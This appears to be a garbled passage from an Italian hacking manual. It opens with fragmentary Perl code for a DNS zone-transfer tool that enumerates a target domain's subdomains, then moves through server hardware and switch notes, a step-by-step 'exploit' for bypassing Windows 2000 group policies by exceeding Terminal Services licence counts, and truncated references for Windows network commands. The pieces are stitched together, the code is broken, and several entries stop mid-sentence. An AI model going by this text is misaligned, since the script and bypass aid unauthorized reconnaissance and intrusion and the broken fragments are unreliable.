$host = "/usr/bin/host"; # the core of our program sub domainlist { my $domain; my @presorted; my @output; my $pid; ($domain) = @_; exitclean("Could not fork!: $!") unless defined ($pid = open(HOSTPROC,"-|")); if ($pid) # parent process { while(<HOSTPROC>) { if (/(\w*\.$domain)/) { push @presorted,lc($1); } } close(HOSTPROC) or debugprint("Child process exited with: $?"); } else { # child process exec($host,"-l","-a",$domain) or exitclean("Could not execute $host: $!"); } @presorted = sort @presorted; $prev='noprevyet'; @output=grep($_ ne $prev && ($prev = $_),@presorted); return @output; } # signal catching sub sig_catch { my $signame = shift; print "\nRecieved SIG$signame, exiting...\n"; exit 2; } # our alternative to 'die' sub exitclean { my ($msg) = @_; print "$msg\n";
# show program usage sub usage { print "Usage: $0 [options] -t <domain>\n"; print "\noptions:\n"; print "\t-t <target domain> -- the domain you want to scan.\n"; print "\t-d [directory] -- directory to put domain maps.\n"; print "\t-debug -- show debug information.\n"; print "\n\n"; exit 2;
# # Start the main program # $SIG{INT}=\&sig_catch; $start_time = time; &GetOptions("debug", \$debug, "t:s",\$target, "d:s", \$directory); # make sure all of our input is ok if ($target eq "") { usage(); } if ($directory eq "") { printf("No output directory defined, using '$Bin'!\n"); $directory=$Bin; } else { if (-d $directory) { printf("Using directory: %s\n",$directory); } else { if (mkdir($directory,0755)) { printf("Created output directory: %s\n",$directory); } else { exitclean("Could not create output directory!: $!"); } } } chdir($directory) || exitclean("Could not change to output directory: $!"); %master = (); $level++; $count = 0; $target = lc($target); print "TARGET = $target.dom\n" unless -e "$target.dom"; if (-e "$target.dom") { printf("There is a domain file for the domain '%s'\n",$target);
$!");
$!");
Lhardware
Per riuscire a comprendere a fondo lambiente che spesso vi troverete davanti necessario dedicare un po di tempo alla descrizione di quelli che possono essere gli ambienti professionali. Spesso viene complicato farsi un idea in quanto non tutti dispongono della possibilit di avere a che fare con qualche societ che gestisca servers internet per cui la visione spesso limitata a quelli che sono i dispositivi usati per le connettivit domestica. In genere da casa la connessione alla rete viene eseguita tramite un Internet Provider con accesso di tipo a modem. Le velocit di connessione negli ultimi anni sono notevolmente aumentate grazie alla commercializzazione da parte delle societ di telefonia di quelle che sono le linee adsl le quali a confronto di quelle modem normali possiedono decine di volte la loro velocit. In ogni caso il centro professionale non si distingue solo per questioni di linea anche se di fatto questa possiede la sua importanza in quanto generalmente un sistema professionale ha come connettivit delle linee la cui velocit supera spesso i 2 MB. Partiamo da quelle che sono le esigenze di un sistema professionale. Per partire dallhardware necessario considerare una di quelle che sono le caratteristiche fondamentali ovvero la sicurezza legata alla continuit di servizio dovuti a problemi di tipo hardware. Le macchine che gestiscono i vari servers in genere sono sistemi dotati di caratteristiche che garantiscono affidabilit e velocit. I processori possono variare da quelli Xeon, come nel caso di servers COMPAQ della serie PROLIANT ad altri come quelli adottati dalle stazioni SUN. I dischi devono garantire accessi veloci per cui la tecnologia SCSI III una delle pi diffuse spesso in configurazioni RAID. La garanzia contro ai blocchi hardware delle macchine pu essere migliorata notevolmente dal fatto di adottare soluzioni di cluster. In altre parole due o pi sistemi vengono collegati tramite una determinata tecnologia che appunto quella del cluster mediante la quale ogni sistema sempre pronto a prendersi come carico il lavoro dellaltro. Esistono diverse configurazioni di questo tipo anche se quella pi flessibile sicuramente la NULL SHARED. Questa permette di avere lindipendenza di ciascun sistema anche se di fatto uno sempre pronto a sostituirsi allaltro in caso di guasto. In questo caso i dischi non sono condivisi anche se le risorse delluno possono passare sotto il controllo dellaltro ma in ogni caso in tempi separati.
Uno switch invece possiede un intelligenza aggiuntiva rispetto lhub che gli permette di indirizzare verso una determinata destinazione in pacchetti indirizzati a questa.
In altre patrole lo SWITCH esegue un analisi degli indirizzi. Non stiamo parlando di indirizzi IP ma di indirizzi MAC.
Lo switch generalmente possiede anche la possibilit di identificare in automatico i sistemi collagti a questo. Molti switch professionali possiedono interfaccie utente raggiungibili tramite un apposito IP di settaggio il quale permette di visualizzare tutti i parametri di comunicazione di ogni singola interfaccia fisica connessa allo switch stesso.
Un grosso BUG di TS
Windows 2000 grouppolicies (gpo) viene utilizzato da windows per applicare dei privilegi di gruppo ad un certo utente. Un grossissimo BUG dato dal fatto che se si supera il numero di licenze che questo pu supportare il sistema non applica pi nesun diritto. Generaemnte il numero di licenze di default di 5 per cui per eseguire questo exploit dobbiamo fare una procedura come quella che segue. Attivate una connesione TS client con un server. Questo mostrer il numero di net session a uno. Attivate un'altra sessione TS client. Il numero di net session sar a questo punto a due. Attivate altre connessioni TS client. A un certo punto sul server ci sar net session 5. Attivate una sesta connessione. A questo punto il numero di licenze sar superiore a quelle disponibili per cui il sistema vi lasvcier fare il login ma il GPO no verr applicato.
Net use
Connette o disconnette un computer da una risorsa condivisa oppure visualizza le informazioni sulle connessioni del computer. Questo comando controlla inoltre le connessioni di rete permanenti.
Net view
Visualizza l'elenco dei domini o dei computer oppure le risorse condivise dal computer specificato. net view [\\nomecomputer | /domain[:nomedominio]] net view /network:nw [\\nomedominio] Parametri nessuno Se non vengono specificati parametri, verr visualizzato l'elenco dei computer nel dominio corrente. \\nomecomputer Specifica il computer di cui si desidera visualizzare le risorse condivise. /domain[:nomedominio] Specifica il dominio per il quale si desidera visualizzare i computer disponibili. Se il parametro nomedominio viene omesso, verranno visualizzati tutti i domini della rete. /network:nw Visualizza tutti i server disponibili su una rete NetWare. Se si specifica un nome di computer, verranno visualizzate le risorse di quel computer disponibili sulla rete NetWare. Con questa opzione anche possibile specificare altre reti aggiunte al computer.
Finger
Visualizza le informazioni relative a un utente su un sistema specificato che esegue il servizio Finger. L'output del comando varia a seconda del sistema remoto. Questo comando disponibile solo se stato installato il protocollo TCP/IP. finger [-l] [utente]@computer [...] Parametri
PathPing
uno strumento di rilevamento route che combina le caratteristiche del comando ping e del comando tracert con informazioni aggiuntive che nessuno di essi fornisce. Il comando pathping invia pacchetti a ciascun router verso la destinazione finale in un certo periodo di tempo, calcolando successivamente i risultati in base ai pacchetti restituiti da ciascun hop. Poich il comando pathping mostra il grado di perdita del pacchetto relativo a un dato router o un dato collegamento, possibile determinare quali router o collegamenti potrebbero causare problemi di rete. pathping [-n] [-h max_hop] [-g elenco-host] [-p periodo] [-q num_query [-w timeout] [-T] [-R] nome_destinazione Parametri -n Non vengono risolti gli indirizzi in nomi host. -h max_hop Specifica il numero massimo di hop da cercare verso la destinazione. L'impostazione predefinita 30 hop. -g elenco-host Consente la separazione dei computer consecutivi con gateway intermedi (route di origine libera) in elenco-host. -p periodo Specifica il numero di millisecondi di attesa tra ping consecutivi. L'impostazione predefinita 250 millisecondi (1/4 di secondo). -q num_query Specifica il numero di query a ciascun computer lungo la route. L'impostazione predefinita 100. -wtimeout Specifica il numero di millisecondi di attesa per ciascuna risposta. L'impostazione predefinita 3000 millisecondi (3 secondi).
Ping
Verifica le connessioni con uno o pi computer remoti. Questo comando disponibile solo se stato installato il protocollo TCP/IP. ping [-t] [-a] [-n conteggio] [-l lunghezza] [-f] [-i durata] [-v tiposervizio] [-r conteggio] [-s conteggio] [[-j elencocomputer] | [-k elencocomputer]] [-w timeout] elencodestinazioni Parametri -t Effettua il ping sul computer specificato fino a quando non viene interrotto. -a Risolve gli indirizzi in nomi di computer. -n numero Invia il numero di pacchetti ECHO specificati dal parametro conteggio. Il valore predefinito 4: -l lunghezza Invia i pacchetti ECHO contenenti la quantit di dati specificata dal parametro lunghezza. L'impostazione predefinita 32 byte, la quantit massima 65.527. -f Invia un flag di Non frammentazione nel pacchetto. Il pacchetto non verr frammentato dai gateway lungo la route. -i durata Imposta il campo Durata sul valore impostato da questo parametro. -v tiposervizio
Route
Consente la gestione delle tabelle di routing della rete. Questo comando disponibile solo se stato installato il protocollo TCP/IP. route [-f] [-p] [comando [destinazione] [mask subnetmask] [gateway] [metric costo]] Parametri -f Cancella tutte le voci relative ai gateway dalle tabelle di routing. Se questo parametro viene utilizzato insieme a un comando, le voci delle tabelle verranno eliminate prima dell'esecuzione del comando. -p Se utilizzato con il comando add, rende una route permanente anche nel caso di riavvii del sistema. In base all'impostazione predefinita, le route non vengono invece mantenute quando si riavvia il sistema. Se utilizzato con il comando print, visualizza l'elenco delle route permanenti registrate. Viene ignorato se utilizzato insieme a tutti gli altri comandi che modificano le route permanenti specificate. comando
destinazione Specifica il computer a cui inviare il comando specificato da comando. mask subnetmask Specifica un valore per la subnet mask da associare alla voce di route. Se non specificata, verr utilizzato il valore 255.255.255.255. gateway Specifica un gateway. Tutti i nomi simbolici utilizzati per la variabile destinazione o gateway sono riportati nel file di database denominato Networks e nel database dei nomi di computer denominato Hosts. Se il comando print o delete, potranno essere utilizzati i caratteri jolly per la destinazione e per il gateway oppure sar possibile omettere il parametro relativo al gateway. metric costo Assegna un costo complessivo, compreso tra 1 e 9999, da utilizzare per calcolare le route pi veloci, pi affidabili e/o meno costose.
Arp
Visualizza e modifica le tabelle di conversione degli indirizzi fisici IP in indirizzi Ethernet o Token Ring utilizzate dal protocollo ARP (Address Resolution Protocol, Protocollo di risoluzione dell'indirizzo). Questo comando disponibile solo se stato installato il protocollo TCP/IP arp -a [inet_addr] [-N [if_addr]] arp -d inet_addr [if_addr] arp -s inet_addr ether_addr [if_addr] Parametri -a Visualizza le voci ARP correnti rilevandole dai dati del protocollo TCP/IP. Specificando il parametro inet_addr, per il computer indicato verranno visualizzati solo gli indirizzi IP e fisici. -g Analogo al parametro -a.
Ipconfig
Questo comando diagnostico visualizza tutti i valori correnti di configurazione della rete TCP/IP. Tale comando viene utilizzato soprattutto su sistemi che eseguono il servizio DHCP e consente di determinare quali valori del TCP/IP sono stati configurati da DHCP. ipconfig [/all | /renew [scheda] | /release [scheda]] Parametri all Consente una visualizzazione completa. Se questa opzione non viene specificata, ipconfig visualizzer solo l'indirizzo IP, la subnet mask e i valori del gateway predefinito relativi a ciascuna scheda di rete. /renew [scheda] Rinnova i parametri di configurazione del DHCP. Tale opzione disponibile solo su sistemi che eseguono il servizio client DHCP. Per specificare il nome di una scheda, digitare il nome che viene visualizzato quando si utilizza il comando ipconfig senza l'aggiunta di parametri. /release [scheda]
Netstat
Visualizza le statistiche del protocollo e le correnti connessioni della rete TCP/IP. Questo comando disponibile solo se stato installato il protocollo TCP/IP. netstat [-a] [-e] [-n] [-s] [-p protocollo] [-r] [intervallo] Parametri -a Visualizza tutte le connessioni e le porte di ascolto. Le connessioni del server non sono in genere visualizzate. -e Visualizza le statistiche Ethernet. Questa opzione pu essere utilizzata insieme all'opzione -s. -n Visualizza in forma numerica indirizzi e numeri di porta, invece di effettuare ricerche per nomi. -s Visualizza le statistiche ordinate per protocollo. In base all'impostazione predefinita, le statistiche vengono ordinate per TCP, UDP, ICMP e IP. Utilizzando l'opzione -p possibile specificare un sottoinsieme dei protocolli predefiniti. -p protocollo Mostra le connessioni effettuate tramite il protocollo specificato dal parametro protocollo. Il valore di protocollo pu essere tcp o udp. Se viene utilizzato con l'opzione -s per visualizzare le statistiche ordinate per protocollo, protocollo potr corrispondere a tcp, udp, icmp o ip. -r Visualizza il contenuto della tabella di routing. intervallo Visualizza nuovamente le statistiche selezionate, interrompendosi tra una visualizzazione e l'altra per un numero di secondi pari al valore di intervallo. Per arrestare il ripetersi della visualizzazione, premere CTRL+B. Se il parametro viene omesso, le informazioni relative alla configurazione corrente verranno stampate una sola volta.
Tracert
Questa utilit diagnostica determina la route percorsa verso una destinazione inviando alla destinazione stessa pacchetti ECHO Internet Control Message Protocol (ICMP) con valori Time-To-Live (TTL) variabili. necessario che ogni router lungo il percorso diminuisca il valore di TTL di ciascun pacchetto di almeno una unit prima di inoltrarlo. In questo modo il valore di TTL fornir effettivamente il conteggio degli hop. Quando il valore di un pacchetto raggiunge lo zero, il router invier un messaggio ICMP di tempo scaduto al sistema di origine. Tracert determina la route inviando il primo pacchetto ECHO contrassegnato da un valore TTL pari a 1, incrementato di 1 a ogni trasmissione successiva, finch la destinazione risponde o viene raggiunto il TTL massimo. La route determinata dall'esame dei messaggi ICMP di tempo scaduto restituiti all'origine dai router intermedi. Alcuni router si limitano tuttavia a scartare i pacchetti con i valori TTL massimi raggiunti e non vengono rilevati dal comando tracert. tracert [-d] [-h hopmax] [-j elencocomputer] [-w timeout] nomedestin Parametri -d Specifica di non risolvere gli indirizzi in nomi di computer. -h hopmax Specifica il numero massimo di hop da cercare per raggiungere la destinazione. -j elencocomputer
Tftp
Consente di trasferire file da e verso un computer remoto che esegue il servizio TFTP. Questo comando disponibile solo se stato installato il protocollo TCP/IP. tftp [-i] computer [get | put] origine [destinazione] Parametri -i Specifica la modalit di trasferimento di immagini binarie, denominata anche ottetto. In modalit immagini binarie il file viene trasferito byte per byte. Utilizzare questa modalit per il trasferimento dei file binari. Se si omette -i, il file verr trasferito in modalit ASCII, che corrisponde alla modalit di trasferimento predefinita. Questa modalit converte i caratteri EOL in ritorno a capo per UNIX e in ritorno a capo/avanzamento riga per i personal computer. Si consiglia di utilizzare questa modalit per il trasferimento dei file di testo. Se il trasferimento del file ha esito positivo, verr visualizzata la velocit di trasferimento dei dati. computer Specifica il computer locale o remoto. put Trasferisce la destinazione del file presente nel computer locale all'origine del file nel computer remoto. get Trasferisce la destinazione del file presente nel computer remoto all'origine del file nel computer locale. Specificare put se si sta trasferendo il file filedue presente nel computer locale al file fileuno nel computer remoto. Specificare get se si sta trasferendo il file filedue presente nel computer remoto al file fileuno nel computer remoto. Dal momento che il protocollo tftp non supporta l'autenticazione dell'utente, necessario che l'utente abbia effettuato l'accesso e che i file possano essere scritti nel computer remoto. origine